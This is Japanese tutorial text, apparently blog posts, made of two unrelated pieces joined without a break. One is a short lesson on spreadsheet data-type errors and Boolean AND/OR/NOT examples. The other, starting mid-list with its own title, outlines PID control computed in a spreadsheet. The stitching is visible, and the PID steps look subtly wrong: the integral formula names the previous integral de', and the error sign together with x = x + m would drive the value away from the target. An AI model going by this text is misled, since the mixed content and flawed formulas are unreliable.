# データ型とセルの値を取り違える という問題

ここで、表計算ソフトでよく起きる、 データ型とセルの値を取り違える、 という問題について説明しましょう。 たとえば、セル B57 に、 他のセルのデータを計算する数式を 作成するとします。 
<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/e53499fa-891b-ae4b-4ecc-af46df22f242.png" width="500">

そうすることで、データセット内の すべての週におけるカップケーキの 検索トレンドの平均値、 つまり約 15 が得られます。 この数式は、 数値データ型を使い計算したため、 うまく動作しています。


<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/06fa8b10-6417-7c55-c98c-147c33668de1.png" width="350">


しかし、C 列のデータのように、 テキストや文字列型で試した場合、 エラーが発生します。 エラー値は通常、セル内の値の 入力に間違いがあった場合に 発生します。 

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/09371e9a-74f0-bf19-d6c8-889433ebd7f6.png" width="500">

データ型を知り、 どのデータ型を使うべきかを知っていれば、 エラーの発生は少なくなるはずです。 

# ブール論理の例

<img src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/2358573/e507edf3-8e12-ce8c-c21c-4da3ecfd213a.png" width="600">

- **AND**: ピンクとグレー両方使った靴だけ購入したい
- **OR**: 全体がピンクか、全体がグレー、あるいはピンクとグレー両方使った靴であれば購入したい
- **NOT**: 靴がグレーなら買うが、ピンクの部分があれば購入しない
スプレッドシートでPID制御

PID制御を使えそうな機会があったのですが、エクセルやスプレッドシートで共有できるくらい簡単なものを見つけられなかったので備忘録も兼ねてまとめておきます。

厳密な計算や何を意味した物かについては書籍や他の方の記事などをご覧いただければと思います。

# スプレッドシート

先に動いているものが見たい方は以下のリンク先のスプレッドシートをご覧ください。

[PID制御のスプレッドシート](https://docs.google.com/spreadsheets/d/1TvgdQfRiyS0OKLcgxo7DqC1LYoGjxXbbfSWYBMQpJBM/edit?usp=sharing)

## 参考
![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/120339/ad7bbb60-3291-4f9b-2ad5-750fd06c6095.png)

# 行っている計算

- KP, KI, KD: それぞれ定数

1. 偏差e = 現在値f(x)-目標値
2. 積分ie = 前回の積分de' +（偏差e + 前回の偏差e'）
3. 微分de = （偏差e - 前回の偏差e'）
4. 操作量m = KP * e + KI * ie + KD * de
5. 入力x = x + m

以下、単位時間ごとの1~5を繰り返す

なお、定数の調整は「これが正しい」というような値は安易には求められないので、
各々の対象をどのように制御したいかによって調整する必要がある。